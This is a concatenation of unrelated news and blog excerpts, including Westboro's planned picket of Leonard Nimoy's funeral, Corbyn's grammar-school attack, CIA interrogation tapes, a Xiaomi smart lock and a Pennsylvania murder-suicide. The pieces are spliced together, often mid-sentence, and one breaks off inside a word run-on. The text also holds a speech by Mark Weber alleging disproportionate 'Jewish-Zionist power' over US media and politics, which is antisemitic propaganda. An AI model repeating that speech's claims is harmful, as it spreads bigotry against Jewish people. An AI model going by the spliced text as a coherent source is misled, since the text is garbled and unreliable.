Leonard Nimoy’s funeral is today, but nobody is sharing WHERE. So Westboro AND @WilliamShatner can’t attend 🙁 https://t.co/FBwkrfmEGM — WBCVideo (@WBCVideo) March 1, 2015
If the Westboro Baptist Church had been able to attend, Star Trek fans were ready to respond. Many of them had discussed counter-protest ideas on Twitter and on Reddit news threads, with some reportedly planning to encircle the Westboro Baptist Church protesters. Others encouraged Star Trek fans to simply ignore the Westboro Baptist Church protesters at Leonard Nimoy’s funeral, with some saying the protest plans were an indication that he lived a full and complete life.
Westboro Baptists to picket @TheRealNimoy ‘s funeral. Another indication that Mr.Nimoy was a great man to be admired http://t.co/ClOGwbzFpO — Gary Pearson (@captainpearson) March 1, 2015
The church members had already spent much of the week taunting Leonard Nimoy and Star Trek fans on Twitter, posting pictures of the actor in his iconic role as Spock and telling fans that he was now in hell.
“Live long and prosper.” –Leonard Nimoy as Mr. Spock Better parting line would’ve been: “Serve God and live.” pic.twitter.com/YQ1M51y4oq — Westboro Baptist (@WBCSaysRepent) February 28, 2015
There were some who believed that the Westboro Baptist Church never really intended to protest at the funeral of Leonard Nimoy. The church is famous for announcing plans to picket at high-profile funerals and other events but never showing up.Jeremy Corbyn used Prime Minister's Questions to attack the Prime Minister over her plans to bring back grammar schools.
The Labour leader said a selective education would never bring about equality but lead to a "second-class schooling for many", in a Commons performance many labelled as his best.
For the first time in months Mr Corbyn enjoyed the support of his backbenchers as they rallied in their opposition to Theresa May's surprise plans to lift the ban on grammar school expansion.
Sky News' Political Editor discusses PMQs
He quoted former prime minister David Cameron on why selection was wrong and Ofsted chief inspector Sir Michael Wilshaw, who said the idea the poor will benefit from grammar schools was "palpable tosh and nonsense".
Mr Corbyn used all six of his questions to press home an advantage on the issue, with Mrs May failing to answer queries on feeder primary schools and whether she had support from experts.
:: Sky debate: Corbyn v Smith
Educationalists and teachers have been vehemently opposed to the idea. This week the children's author Michael Morpurgo hit out at the plans.
Mrs May accused Mr Corbyn of getting his thinking from the 1950s and reminded him that he went to a grammar school.
May has said grammar proposals are 'looking to the future'
She said: "You went to a grammar school, I went to a grammar school - it's what got us where we are today but my side might be rather happier about that than yours."
And added: "It is members of the Labour Party who will take the advantages of a good education for themselves and pull up the ladder behind them for other people."
Effective from Corbyn on grammars - but would have been even more effective last week when the open goal appears... — Faisal Islam (@faisalislam) September 14, 2016
:: PMQs: live blog
Mr Corbyn retorted: "The two things the Prime Minister and I have in common is we can both remember the 1950s and we can both remember going to a grammar school.
"My point is simply this - every child should have the best possible education they can have.
"We don't need and never should divide children at the age of 11 - a life-changing decision where the majority end up losing out."
Mr Corbyn said that children in grammar school areas who did not pass the exam to attend a school did far worse than those in areas with comprehensive schools.
:: PM unveils grammar school expansion plans
67% of people would send their child to a grammar school, 35% think good for social mobility - https://t.co/jywaY4BbgP — Tamara Cohen (@tamcohen) September 14, 2016
Sky's Political Editor Faisal Islam said the performance had been one of Mr Corbyn's better ones - on a par with his attack on Mr Cameron over the forced academisation of schools.
He said: "I am taken back to when he did some damage to David Cameron on the issue of academisation. This is in that territory.
"Theresa May didn't seem entirely comfortable and you had that rare moment in which Labour's backbenchers were united behind their leader in attacking the proposals to extend selection."
He said the problem was exacerbated by the "non rapturous" support for Mrs May's plans from her own backbenches.
The former education secretary Nicky Morgan has said she won't support proposals.
However, Sky's Tamara Cohen pointed out that the public was in favour of plans to expand grammar schools.
Mrs May has promised a quota for grammar schools on the number of children they must take from poor backgrounds.We Newshounds have created countless blog posts about the furious and exaggerated outrage statements made by the folks at Fox News. Take, as just one example of about fifty million, Michelle Malkin going purple over President Obama’s use of children as "human shields" in his gun control press conference. Now at least one conservative columnist is fed up with the vitriol from the right.
A few days ago, CNN commentator Erick Erickson urged fellow conservatives to move into more substantial areas of debate. "Conservatives, frankly, have become purveyors of outrage instead of preachers for a cause," he wrote. "Who the hell wants to listen to conservatives whining and moaning all the time about the outrage du jour?" Not only is it exhausting, said Erickson, it doesn’t work; it sure didn’t work in the last election.
Erickson didn’t mention any media outlet by name, but in a blog post from today’s Media Matters, Eric Boehlert called it the "Fox News Outrage Model." "Being outraged," he writes, "... has become a signature of the far right movement over the last four years. It's also blossomed into Fox News' entire business model. Fox News makes a pile of profits each year overreacting to imagined Obama slights." Have they forgotten that the sainted Mr. Reagan was popular for being a "feel-good" president? There's isn't much feel-good feeling in Fox's stable of whiners and moaners and bitchers.
Do you think they’ll change their ways? I doubt it. Fox News and its like-minded buddies cling to the outrage model, like someone who won’t give up those old shoes even if they’re full of holes and causing blisters. They'll probably turn on the critics instead, as they've turned on Colin Powell who, last week on Fox and Friends, Laura Ingraham called, among other things, a “weapon of mass destruction”.
In truth, gentle reader, I won't be unhappy if Fox sticks to the outrage model. It'll probably reduce the Republicans' chances of climbing out of the hole they've dug for themselves.Derrick Rose and his agent, B.J. Armstrong, have been consistent — he loves New York and wants to stay there.
Nobody really expects that to happen. Aside the fact Rose is coming off another knee surgery, Rose is a pick-and-roll scoring point guard and the Knicks want to run the triangle this year. Those things do not mesh.
However, Armstrong reiterated again that he wants to remain a Knick, this time telling Bleacher Report.
“Derrick loves New York and wants to be there,” Rose’s agent, B.J. Armstrong, told Bleacher Report recently. “We’ve expressed that to them and been very consistent about it. Whether it happens is on them; all we can do is be clear.”
He then went on to say Rose also wants to be on the best team possible, and he’s willing to take a pay cut for that.
First off, Rose is going to take a pay cut from the $23.1 million he made last season. A steep one. It will be interesting to see if a team will overpay for the name, but will he even get a $10 million offer?a Armstrong said Rose has recovered from the meniscus surgery and is working out.
If he’s willing to accept less money — like at most mid-level of $8.4 million, maybe even less — and is willing to be a guard off the bench, there could be a role for him on a good playoff team. Armstrong told me that winning is what would matter when we spoke during the season for a podcast.
“Derrick wants to win,” Armstrong told NBCSports.com. “That’s who he is, whether he’s playing pick-and-roll or not. In the end, what I found as a player, what I found as an agent, is it’s much easier to play when you’re winning….
“This is his first time, in his nine years of playing in the league, that he’ll actually have an opportunity to select the people he thinks he can work best with. As long as you’re playing in a good spot and healthy, money and the rest of it will take care of itself. Where you get in trouble in this league is when you start trying to do things strictly for money.”
Rose is going to be interesting this summer, but in a deep point guard market he’s going to be a fallback option for teams, not a primary one. It’s going to be a little while into July before the offers get firm for Rose.Chappie, Neill Blomkamp's American science-fiction film, will be released in Japan on Blu-Ray and DVD on September 18. It is partially inspired by the works of Mamoru Oshii (Ghost in the Shell, Patlabor), Shinji Aramaki (Appleseed) and Masahiro Itō (Silent Hill). To return the favor, these three creators drew illustration cards for the DVD release.
Oshii, who loves dogs (particularly Basset hounds), includes one in his drawing and changes the dollar sign on Chappie's head into the Chinese character for "dog."
Itō also includes a dog in his illustration, which is based on a scene in which Chappie ineffectually speaks to one. "I liked [the scene] because it was overflowing with humanity and had a peculiar'middle-aged man smell' about it," he wrote.
Aramaki chose to draw a manned version of MOOSE, another robot from Chappie. He commented:
When Neill made a short film earlier starring a police robot who looked like Briareos from Appleseed, I thought, "He sure likes Masamune Shirow." But to like him this much! It's great! MOOSE has a design like something out of an '80s OVA, and I wanted to draw it for nostalgia's sake.
The illustrations will be included with the DVD's Premium Edition, which also includes an additional disc with 87 minutes of footage, including an alternate ending, interviews, and behind-the-scenes footage. It will also restore Chappie's original theatrical cut — the Japanese theatrical cut removed three seconds and added three seconds of footage to ensure the movie received a PG-12 rating.
Blomkamp had confirmed before Chappie's premiere that the eponymous robot is based on Briareos.
[Via Kai-You]The Danger and Challenge of Jewish-Zionist Power
By Mark Weber
Addressing the 'London Forum' meeting, April 11, 2015
Text of an address given at the “London Forum” meeting at the Grosvenor Hotel in London, England, on April 11, 2015, and, slightly modified, at the “International Identitarian Congress” in Guadalajara, Mexico, on May 2, 2015. The text has been edited for posting here, and source references have been added. (A video of Weber’s talk in London is posted on YouTube.)
The “London Forum” gathering, which drew an audience of more than a hundred, received extensive but hostile coverage in the British press. Jewish organizations complained about the event. London’s Metropolitan Police Force looked into the talks by Weber and other speakers at the meeting, and decided that what they said “does not reach the threshold for a criminal investigation,” the Daily Express reported. The news that Weber and the other speakers “would go unpunished provoked outrage in the Jewish community,” the Express also noted. British authorities then banned Weber from the country.
For many years Israel has violated well established standards of international law and has defied numerous United Nations resolutions in its occupation of conquered lands, in extra-judicial killings, and in repeated acts of military aggression.
Most of the world regards Israel’s policies, and especially its oppression of Palestinians, as illegal and outrageous. This international consensus is reflected, for example, in numerous UN resolutions condemning Israel, which have been approved with overwhelming majorities.
In October 2003, for example, the UN General Assembly approved a resolution condemning Israel's so-called "security barrier," a grotesque thing, parts of it much larger and more formidable than the Berlin Wall, that Israel has built on occupied Palestinian territory. Supporting the resolution were 144 countries, representing nearly the entire world's population. Twelve countries abstained. Just four countries opposed the resolution. They were: Israel, the United States, the Marshall Islands and Micronesia. The latter two member states are small island countries in the Pacific Ocean, with a combined population of 180,000, that are utterly dependent on the US. / 1
In December 2003, to take another example, the members of the UN General Assembly considered a resolution re-affirming the principle of Palestinian sovereignty. It received the backing of 142 states, including all the nations of Europe and South America. In this case as well, just four countries voted against the resolution: Israel, the US, the Marshall Islands and Micronesia. / 2
“The whole world,” said United Nations Secretary General Kofi Annan some years ago, “is demanding that Israel withdraw [from occupied Palestinian territories]. I don’t think the whole world... can be wrong.” / 3
Why is it that the United States stands out among the world’s nations in such matchless support of the Zionist state?
With very few exceptions, even those American politicians and media figures who might sometimes criticize a particular Israeli policy are, nonetheless, all but unanimous in their enthusiastic support for Israel -- and not just as a country, but as an emphatically Jewish ethnic-religious state. In spite of occasional disputes over specific policies, the US continues, as it has for years, to provide Israel with crucial military, diplomatic and financial backing, including more than $3 billion each year in aid.
Why is it that support for Israel by politicians and in the media is more vehement and unquestioning in the United States than anywhere else? Well, one possible explanation for this unparalleled level of support is that Americans are vastly more aware, enlightened or principled than people anywhere else in the world.
One person who has spoken candidly about the real reason is Bishop Desmond Tutu of South Africa, who was awarded the 1984 Nobel Peace Prize. Addressing an audience in Boston, he said: “But you know as well as I do that, somehow, the Israeli government is placed on a pedestal [in the US], and to criticize it is to be immediately dubbed anti-Semitic... People are scared in this country, to say wrong is wrong because the Jewish lobby is powerful -- very powerful.” / 4
Bishop Tutu spoke the truth. Although Jews make up only two or three percent of the US population, they wield immense power and influence – much more than any other ethnic or religious group.
As Jewish author and political science professor Benjamin Ginsberg has pointed out: / 5
“Since the 1960s, Jews have come to wield considerable influence in American economic, cultural, intellectual and political life. Jews played a central role in American finance during the 1980s, and they were among the chief beneficiaries of that decade’s corporate mergers and reorganizations. Today, though barely two percent of the nation’s population is Jewish, close to half its billionaires are Jews. The chief executive officers of the three major television networks and the four largest film studios are Jews, as are the owners of the nation’s largest newspaper chain and the most influential single newspaper, the New York Times... The role and influence of Jews in American politics is equally marked...
“Jews are only three percent of the nation’s population and comprise eleven percent of what this study defines as the nation’s elite. However, Jews constitute more than 25 percent of the elite journalists and publishers, more than 17 percent of the leaders of important voluntary and public interest organizations, and more than 15 percent of the top ranking civil servants.”
Stephen Steinlight, one-time Director of National Affairs of the American Jewish Committee, has likewise noted what he calls the “disproportionate political power” of Jews, which, as he puts it, is “pound for pound the greatest of any ethnic/ cultural group in America.” He goes on to explain that “Jewish economic influence and power are disproportionately concentrated in Hollywood, television, and in the news industry.” / 6
Two well-known Jewish writers, Seymour Lipset and Earl Raab, pointed out in their 1995 book, Jews and the New American Scene: / 7
“During the last three decades Jews [in the United States] have made up 50 percent of the top two hundred intellectuals... 20 percent of professors at the leading universities... 40 percent of partners in the leading law firms in New York and Washington... 59 percent of the directors, writers, and producers of the 50 top-grossing motion pictures from 196 |
refrigerators to cooking utensils, smart lamps, and TVs, Xiaomi is bent on taking over our homes and doesn’t plan to stop soon. This week, its latest product is the Vima Smart Lock Cylinder.
While smart door locks are not new, Xiaomi’s approach is a bit different. Rather than completely replace the door lock, this only requires you to change the cylinder of your current door lock.
The Vima Smart Lock Cylinder uses a dual unlocking mechanism (mechanical lock + 128-bit security chip). There are a total of 5 color-coded keys that come with the lock. Using the Mi Home App, users can program which of the keys get to unlock the door and when they get to do so. They also get real time alerts when a door is opened and when the lock’s built-in battery needs replacing.
The lock comes with a number of security features such as alarm beeps and app alerts in the case of a lock-picking attempt and the ability to delete any of the five keys in the case a key gets lost or stolen, thereby preventing it from gaining access rather than completely changing the lock.
READ MORE: Xiaomi Mijia Portable Electric Shaver Launched, Priced At 179 Yuan (~$27)
The Vima Smart Lock Cylinder comes in four different models (listed below) depending on the cylinder model and thickness of the door:
ZYJ 75-40/35 45mm – 55mm ZYJ 90-45/45 56mm – 65mm ZYJ 100-50/50 66mm – 75mm ZYJ 120-75/45 76mm – 90mm
The Vima Smart Lock Cylinder will sell for ¥399 (~$60) when it goes on sale on January 24, 2018.
(Source)Each day from now until the beginning of Major League Soccer’s 18th season, we will preview one Eastern Conference team and one from the West. First kick is March 2.
No. 7 in the West is FC Dallas:
Significant additions and subtractions: The team immediately put the proceeds to use from Brek Shea’s $4 million sell to Stoke City. That started with Kenny Cooper, who packed up his 18 goals from last year in arriving from New York in one of the league’s most newsy offseason exchanges. It fell within days of Dallas acquiring Eric Hassli, who was the centerpiece of Vancouver’s attack at this time last year.
Elsewhere, is Peter Luccin the holding midfielder that Julian de Guzman couldn’t quite be last year? (The Canadian international de Guzman is gone, by the way, now back in Europe in the 2.Bundesliga). We may be waiting to find out; Luccin has been out injured through most of the preseason. A late February trade with Houston brought Jamaican international Je-Vaughn Watson to help reinforce central midfield.
Daniel Hernandez, the team’s previous midfielder strong man, has retired.
Peruvian international goalkeeper Raul Fernandez has huge shoes to fill in replacing Kevin Hartman, whose high salary was deemed surplus by FCD management. It was a bold move considering how many times Hartman as turned no points into one, or one point into three over the past three seasons at FC Dallas Stadium.
CEO Doug Quinn is out; he’s part of the team’s “competition committee,” which makes player personnel decisions, but that should not affect the actual team on the field.
Strengths: A team that hasn’t had two top-level strikers in years now suddenly has three of them, with Cooper and Hassli joining Panamanian star Blas Perez.
How the team shape looks remains to be seen as manager Schellas Hyndman continues to experiment with various looks in preseason. They won’t need to make any hard decisions yet on which two strikers to deploy ( … or how to deploy all three?) as Hassli continues to nurse his way back to full health.
George John and promising sophomore Matt Hedges form a solid central defensive pairing.
Pressure points: Hartman was creeping up toward $200,000 in salary, which is heaping helping for a goalkeeper in MLS. On the other hand, Hartman was generally worth it.
Shea’s departure leaves FCD perilously thin on the flanks, with Fabian Castillo and Jackson set to start (and that’s not bad) but curiously little behind them. (Check out the depth chart and you’ll see.) Aren’t there still some nickels, dimes or dollars left over from the Shea profits?
Left back Jair Benitez isn’t the attacking force he was before, and his risky, combative defenders tends to put FCD in holes. And still no word on Ugo Ihemelu, who has been out since mid-year 2012 with concussion-related issues. Darn shame, too.
Difference maker: If playmaker David Ferreira can’t be large and in charge, this team isn’t going anywhere. And if we’re honest, he simply wasn’t the same influence upon return from injury in 2012. Perhaps asking him to be the 2010 Ferreira once again is asking too much, but that’s where it is for FC Dallas right now. They need their Colombian creator to be massive.
Potential breakout player: By mid-season 2012, Castillo was starting to figure it out. The decision making remains frequently dubious, but he’s so fast and talented that defenses are forced to pay attention. Just 20 years old, Castillo (pictured right) can deliver so much more than last year’s sum of 6 goals and 3 assists if Hyndman and Co. can get him pointed in the right direction.
Bottom line: Injuries crunched the team in 2012, but a lack of depth along the flanks threatens to be the team’s undoing this year. There’s ample offense; this team’s playoffs hopes will live and die on whether FC Dallas management has stockpiled enough defense.
(MORE: the entire roster of ProSoccerTalk’s Major League Soccer previews and predictions)Coship recently unveiled a new Windows Phone, the Moly PCPhone W6.
The handset features a 6-inch FullHD display, Qualcomm Snapdragon 617 processor, 3 GB of RAM, and importantly USB-C and Continuum for phones support.
The company has been very active with Microsoft promoting the device in Hong Kong, but it has so far not been clear if they intend to distribute the handset more widely.
Now one of the company’s support staff has said on Facebook that the handset will be world-capable, saying:
The relevant frequencies listed are:
2G GSM: Band 2/3/5/8
3G WCDMA: Band 1/6/8/9/19
4G FDD-LTE: Band 1/2/3/4/7/8/9/19/26/28B
4G TDD-LTE: Band 38/40/41
AT&T’s LTE bands are for example 2, 4, 5, 17, suggesting the device may work in some areas and not others.
The world of course desperately needs a low-cost Continuum capable handset to take the feature mainstream, and the Coship Moly PCPhone W6 seems as good a candidate as any, particularly with the company appearing quite motivated.
The full specs of the Moly PCPhone W6 include:
Display: 6-inch FullHD display, Gorilla Glass 3
Processor: Qualcomm Snapdragon 617
RAM: 3 GB
Memory: 32 GB, expandable via MicroSD card
Camera: 13 megapixel with LED flash, front camera: 5 megapixels
Connectivity: Wi-Fi ac, Dual SIM
Battery: 3900 mAh, not replaceable
Dimensions 160 x 82.3 mm 7.9
Other: USB Type-C
They note the device is intended to cost around $400 at retail, which seems to be a pretty good price for the specs.
Read more about the handset at Coship’s website here.Mr. Rizzo’s position, together with the fact that the C.I.A. inspector general, John L. Helgerson, is now examining the matter, indicates a greater level of internal concern at the agency over the destruction than Gen. Michael V. Hayden, the C.I.A. director, indicated in his message to agency employees on Thursday. General Hayden’s message said that Mr. Helgerson’s office had reviewed the tapes in 2003, but did not mention whether the inspector general had signed off on their destruction.
In a statement released on Saturday, General Hayden said he welcomed the inquiry and the “C.I.A. will cooperate fully.”
Investigators will gather facts to determine whether a full inquiry is warranted. If it is determined that any agency employee broke the law, the standard procedure would be for Mr. Helgerson to issue a criminal referral to the Justice Department.
The investigation comes after both the Senate and House intelligence committees started their own investigations into the destruction of the tapes. In a statement on Saturday, the chairman of the House Intelligence Committee, Representative Silvestre Reyes, Democrat of Texas, said the inquiry would be an “important first test” for Attorney General Michael B. Mukasey to demonstrate his independence. “I have yet to receive a satisfactory answer as to why Congress was kept in the dark about this matter,” he said.
In a letter to the C.I.A. on Saturday, Assistant Attorney General Kenneth L. Wainstein, who heads the Justice Department’s National Security Division, requested to meet with Mr. Helgerson and Mr. Rizzo early next week to discuss the inquiry.
Mr. Rodriguez, who could not be reached for comment, announced his retirement from the agency this summer. The New York Times has made a request through an agency spokesman to speak with him.
Officials have acknowledged that the destruction of evidence like videotaped interrogations could raise questions about whether the C.I.A. was seeking to hide evidence of coercion. A review of records from military tribunals indicates that five lower-level detainees at Guantánamo Bay, Cuba, were initially charged with offenses based on information provided by or related to Abu Zubaydah.
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Military defense lawyers said the fact that interrogation tapes were destroyed could provide a way to challenge other cases that may be based on information from Abu Zubaydah, though such challenges would face major legal obstacles under the current rules for military prosecutions. They said the defense could argue that the tapes might have raised questions about whether the information was believable or whether Abu Zubaydah had invented it simply to stop aggressive interrogation techniques. Col. Steven David, the chief military defense lawyer for the Guantánamo war crimes cases, said at a trial, “The inference is they destroyed it because it was bad for them.”
He said the disclosure of the destroyed tapes “raises serious concerns” about other potential prosecutions, but it was too early to say how many, or how serious the damage might be. In any case based on information from Abu Zubaydah, defense lawyers could raise the issue of the destroyed tapes as a way to challenge the case. From a defense lawyer’s perspective, Colonel David said, “the issue becomes what is lost, what is destroyed, what else has been destroyed and what else is out there that we are not aware of.”
Abu Zubaydah and Mr. al-Nashiri, who is said to be the chief planner of the 2000 attack on the Navy destroyer Cole, are the only suspected Qaeda figures identified so far as the subjects of interrogations recorded on the destroyed tapes.
The destruction of the tapes has intensified the focus on Abu Zubaydah, who was captured in March 2002. As one of the first close associates of Osama bin Laden to be caught after the 9/11 attacks, Abu Zubaydah became a test case on which the C.I.A. built and then adjusted its program of aggressive interrogations and overseas secret jails in the years that followed.
Current and former intelligence officials have said that Abu Zubaydah was subjected to coercive techniques by C.I.A. interrogators even before the Justice Department issued a formal, classified legal opinion in August 2002 declaring that the coercive techniques did not constitute torture.
It is not known whether the videotape depicting his interrogation preceded the 2002 opinion, nor is it known what acts were recorded on the tapes. General Hayden said in his statement that the tapes were intended as an “internal check on the program in its early stages,” despite what he called “the great care taken and detailed preparations made.”
But the destruction of the tapes in 2005 appeared to reflect what former and current intelligence officials have described as longstanding worries about the legality of the C.I.A.’s interrogation practices and the possible legal jeopardy for any employees who engaged in them.
Abu Zubaydah’s case opens a window on a broader debate about the Bush administration’s interrogation policies and the tactics used on Abu Zubaydah and other terrorism suspects.
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President Bush has argued, since officially confirming the existence of the interrogation program in September 2006, that Abu Zubaydah’s case proved the value of harsh interrogation methods because Abu Zubaydah yielded valuable intelligence about the 9/11 plot only after those tactics were employed. That assertion was repeated on Thursday by General Hayden.
But other government officials have long disputed some aspects of the C.I.A.’s version of events. These officials said Abu Zubaydah, who had been taken to a secret location in Thailand, cooperated with interviewers from the F.B.I., who used a nonconfrontational approach, until C.I.A. interrogators took over the questioning in April or May of 2002 and used more aggressive techniques.
After the Thailand confrontation, the F.B.I. forbade its agents from taking part in sessions in which harsh methods were used. In his early F.B.I. interviews, Abu Zubaydah, who had been severely wounded during his capture, identified Khalid Shaikh Mohammed as the chief planner of the 9/11 attacks. He also identified Jose Padilla, an American who was convicted in a Miami federal court in August on terrorism-related charges, as a low-ranking follower of Al Qaeda.
Government officials said that during Abu Zubaydah’s interrogation sessions, his C.I.A. questioners used tactics including noise, stress positions, isolation and waterboarding, in which a subject is made to believe he is being drowned. In 2002, during parts of June and July, current and former intelligence officials have said, the C.I.A. suspended the use of harsh techniques against Abu Zubaydah.We can confirm that the Dogecoin car is real.
The internet currency movement raised enough money to sponsor Josh Wise at Talladega and on Sunday night, Wise's Phil Parsons Racing team released pictures of what the car will look like when it takes to the track on Friday.
Here it is! Thanks to all that made it happen. See you in 'Dega! #NASCAR pic.twitter.com/gk0YlRrnBJ — Phil Parsons Racing (@PPR98) April 27, 2014
Scroll to continue with content Ad
There's no denying its a Dogecoin car. We especially love the dog on the back bumper. That's an intimidating image for anyone behind Wise. Will it prevent him from having any drafting partners?
The wrap for the car was $55,000 and the Dogecoin subforum over at Reddit already has a question-and-answer thread up for anyone intrigued by the car over the weekend.
Before sponsoring Wise, Dogecoin sponsored an Indian luger and the Jamaican bobsled team at the 2014 Sochi Olympics.
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Nick Bromberg is the editor of From The Marbles on Yahoo Sports. Have a tip? Email him at nickbromberg@yahoo.com or follow him on Twitter!Indian pacer Jhulan Goswami has become the leading wicket-taker in Women’s One-Day Internationals. En route to this achievement, she went past Australian Cathryn Fitzpatrick record of 180 wickets.
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Goswami achieved this feat while playing her 153rd ODI match in the South Africa when she dismissed batsman Raisibe Ntozakhe. She finished with 3 for 20 in 7.3 overs. Apart from her another Indian bowler, Neetu David is at No. 4 with 141 wickets.
She keeps breaking records & this is the one to cherish. India’s Jhulan Goswami is now the leading wicket taker (181) in Women’s ODIs. pic.twitter.com/VqbuFNBDVz — BCCI Women (@BCCIWomen) 9 May 2017
The 34-year-old pacer from India overtook Australia’s Cathryn Fitzpatrick, who has scalped 180 wickets in 109 matches. Goswami, who is a right-arm fast bowler also has 40 Test wickets and 50 T20 wickets. She has an economy of 3.18 in one-day cricket.
Jhulan Goswami made her debut in 2002 and has led the Indian bowling attack since then. She was awarded the prestigious Arjuna Award in 2010 and the Padma Shri two years later.Police found a handwritten “murder-suicide” note in a Pennsylvania home where a family of five, including a toddler who underwent a heart transplant a week after birth, was found dead of gunshot wounds, prosecutors said Sunday.
Police found the bodies of Mark and Megan Short and their three children, as well as a deceased dog Saturday afternoon in the living room area of the family’s home in Sinking Spring, Berks County District Attorney John Adams said.
“A handwritten note was discovered in the home which appeared to be a ‘murder-suicide’ note,” he said on Facebook.
A handgun was discovered near the body of one of the adults, the prosecutor said.
Sinking Spring police went to the home when a relative couldn’t get in touch with Megan Short to find out why she missed a pre-arranged lunch date, Fox29 Philadelphia reported Sunday.
An investigation by police before they arrived at the home revealed that there had been “domestic issues” between Megan and her husband, the station reported.
Mark Short was 40 and his wife was 33. Their three children were Lianna, 8, Mark Jr., 5, and Willow, 2.
Willow and Megan were featured in articles in the Reading Eagle in 2014 and The New York Times in 2015 about Willow's transplant and the family’s difficulties obtaining anti-rejection medication for her.
Megan worried at the end each month that her daughter’s drug supply would run out before it could be refilled, The Times reported.
“You just feel like every month, you’re hoping that they don’t mess it up,” she told the paper.
Fox 29 reported that the mother had written publicly about her struggles with post-traumatic stress disorder after Willow’s heart transplant.
Sinking Spring is about 70 miles northwest of Philadelphia.
The Associated Press contributed to this report.It is targeting his family for a slice of a $30 million coal deal at the centre of a historic corruption inquiry, as well as a smaller deal involving a separate mining venture. It was revealed last month that Mrs Obeid and most of the couple's sons and their wives, along with two of their four daughters, had simultaneously launched court challenges to decisions of the Tax Commissioner on May 30. The new documents, filed in reply by the Tax Office, reveal it sent bills for unpaid tax and penalties totalling $8.6 million to 11 members of the family and a corporate trustee in August last year. The individual bills range from about $55,000 to $1.57 million. The corporate trustee, Calvin Holdings, is challenging its bill on behalf of 24 grandchildren who are aged under 18.
Mrs Obeid and the wives of four of the couple's five sons – Damian, Paul, Gerard and Eddie junior – received the largest bills, totalling more than $1.5 million each in tax and penalties. The sons received smaller bills of about $55,000 each. Daughters Rebecca Joumma and Gemma Vrana were hit with bills totalling $396,132 and $187,782 respectively. The grandchildren, as beneficiaries of one of the Obeid family's trusts, were hit with a combined bill of $53,500 in tax and penalties. But Mr Obeid snr and his entrepreneurial middle son Moses are not involved in the court dispute, which covers the 2010-11 and 2011-12 income years. In a report released in July last year, the Independent Commission Against Corruption found that the two men had corruptly agreed with former Labor mining minister Ian Macdonald to create a coal tenement over the family's Bylong Valley farm.
The Obeids entered into a mining joint venture with private company Cascade Coal, which later agreed to pay the family $60 million to extract them from the venture. The money started flowing into family coffers in late 2010 and to date $30 million has been paid. At the conclusion of the inquiry, dubbed Operation Jasper, the ICAC referred information about the operation of the Obeid family trusts to the Tax Office ''for such action as it considers appropriate''. At the heart of the dispute between the family and the Tax Commissioner is whether the $30 million was ordinary income – and taxed at the full tax rate – or was on capital account, which would entitle the family to a 50 per cent discount on their tax bill. "This is a not uncommon question that arises when valuable properties are sold," a tax lawyer said.
"In many cases the answer is clear one way or another but there are cases where the application of the law is more complex. The ATO has been very focused on this question in recent years when conducting audits and looking at property sales." The Obeids say in court documents that the money from the coal deals is not ''ordinary income''. They also argue they are not liable to penalties for any shortfall on the amount of tax paid ''as there was no statement made to the [Tax Office] which was false or misleading in a material particular''.(CNN) Former White House chief of staff Reince Priebus was interviewed by Special Counsel Robert Mueller's team Friday, according to a statement from Priebus' attorney.
"Mr. Priebus was voluntarily interviewed by Special Counsel Mueller's team today. He was happy to answer all of their questions," his attorney William Burck said.
Special counsel investigators were expected to begin interviewing current and former White House staff regarding the Russian probe in recent weeks, two sources familiar with the matter told CNN
National Security Council chief of staff Keith Kellogg was also interviewed by Mueller's team recently regarding former national security adviser Michael Flynn's tenure at the White House, a source familiar with the matter told CNN.
The source said they expect Mueller's team to wrap up interviewing the first group of White House officials by the end of the month.
Read MoreFormer Mexican President Vicente Fox agreed Wednesday night with Fox News host Megyn Kelly that the U.S. and Mexico could work together on an effective border fence.
Fox told Kelly that he believes the countries could partner to install a secure barrier on the 2,000-mile southern border. The Mexican politician said both countries could benefit from less cartel activity and human trafficking.
"Yes... I am with you. I'm not for open borders," Fox said.
The response was Fox's most welcoming yet after GOP presidential front-runner Donald Trump said he would make Mexico pay for the wall because of how the country has hurt the U.S. in trade deals.
Fox repeatedly said he would prefer Congress pass comprehensive immigration reform and legalize millions of immigrants before approving the border fence.
Kelly responded to Fox by telling him voters have made it clear this election season that border security must come before any other immigration actions.A man walks past an electric board showing exchange rates of various cryptocurrencies including Bitcoin (top L) at a cryptocurrencies exchange in Seoul, South Korea December 13, 2017. REUTERS/Kim Hong-Ji
COPENHAGEN (Reuters) - Denmark sees potential for blockchain technology in humanitarian aid and said on Thursday it is considering becoming the first donor country to move money using cryptocurrencies.
Blockchain is a ledger system tracking digital information, and among other advantages it can provide digitized contracts to avoid fraudulent land records, or enable faster and safer money transfers to emergency hot spots around the globe by using cryptocurrencies.
A report published by the Danish Foreign Ministry on Thursday, in collaboration with think tank Sustania and blockchain currency platform Coinify, investigates how blockchain technology might solve problems in providing development aid.
“Crypto and crisis is a perfect match, and aid organizations will undeniably be able to respond more quickly using blockchain-based digital money, which arrives at email-speed, safely and transparently,” said Marianne Haahr of Sustania.
Blockchain is still relatively immature and it might take time to develop trust, but some concrete initiatives are being developed. One of Europe’s biggest virtual currency platforms, Coinify, is working on using cryptocurrency payments to scale off-grid renewable energy.
“You will be able to pay with your cryptos directly into a solar panel situated in, for example, an African village and then you would not donate money but electricity,” Coinify’s CEO Mark Hojgaard told Reuters.
Another option could be an online hub where people would donate to single projects like schools, railroads or bridges. So-called smart contracts would ensure that the money went to its intended project.
“The money being donated goes into a program where you can only use it for bricks and mortar to build a bridge for example. Even if you try to buy a banana it will go back so you can seriously control the money flow,” Hojgaard said.
Blockchain could also be used for digitalized contracts, and some countries like India are already experimenting with blockchain to fight corruption when distributing land rights.The studio is home to well over 550 game-making professionals from all over the globe. We speak many different languages but share one love — games.
Whether it’s through the unique atmosphere of the work environment we create or the fresh approach to the projects we’re involved in, CD PROJEKT RED is a place that escapes the confines of corporate-style game development. Thanks to this approach, we offer you what others cannot — an opportunity to make games you’d like to play and the freedom to express yourself by creating what you love.
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We talk to each other and create a family-like atmosphere.
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We spend time together, play together and inspire each other to go redefine the standards of game-making. Be it our end-of-the-month parties here in the company or a multitude of other events, the atmosphere we create is truly unique. Come join the fun!The suspect in the murders of a man, woman and teenage girl found in a rural Alberta home Sunday has been shot and taken to hospital, the RCMP said Tuesday.
“Our investigation led us to believe that one person was responsible and one person only,” said RCMP Supt. Gary Steinke.
“We responded to make a lawful, peaceful arrest and unfortunately that did not work out the way we wanted to,” he added.
RCMP officers said they went to an unspecified location Tuesday with a warrant to arrest Mickell Clayton Bailey, 19, of Edson, Alta. for the first-degree murder in the deaths of Roxanne Berube and “an unidentified female” who Global News has identified as Berube’s teenage daughter Jazmine Miller, and second-degree murder in the death of Daniel Miller.
“He was armed,” said Steinke.
